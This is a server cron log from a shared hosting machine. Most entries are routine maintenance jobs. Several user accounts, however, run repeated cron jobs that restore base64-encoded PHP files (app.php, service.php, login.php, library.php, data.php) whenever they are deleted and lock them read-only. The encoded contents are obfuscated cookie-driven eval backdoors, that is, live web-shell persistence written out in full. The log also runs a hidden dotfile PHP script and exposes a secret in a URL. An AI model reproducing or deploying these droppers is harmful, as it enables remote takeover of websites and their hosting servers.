"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:54:01 medusa CROND[28579]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:55:02 medusa CROND[30128]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30132]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:55:02 medusa CROND[30138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:55:02 medusa CROND[30139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:55:02 medusa CROND[30140]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:55:02 medusa CROND[30141]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30142]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:55:02 medusa CROND[30143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30144]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:55:02 medusa CROND[30145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:55:02 medusa CROND[30147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30148]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:55:02 medusa CROND[30151]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:55:02 medusa CROND[30153]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:55:02 medusa CROND[30156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30157]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:55:02 medusa CROND[30159]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:55:02 medusa CROND[30161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:55:02 medusa CROND[30165]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:55:02 medusa CROND[30155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:55:02 medusa CROND[30167]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:55:02 medusa CROND[30168]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:56:02 medusa CROND[31878]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:56:02 medusa CROND[31879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:56:02 medusa CROND[31880]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:56:02 medusa CROND[31881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:56:02 medusa CROND[31883]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:56:02 medusa CROND[31882]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:56:02 medusa CROND[31887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:56:02 medusa CROND[31890]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:56:02 medusa CROND[31891]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:56:02 medusa CROND[31892]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:56:02 medusa CROND[31894]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:56:02 medusa CROND[31893]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:56:02 medusa CROND[31899]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
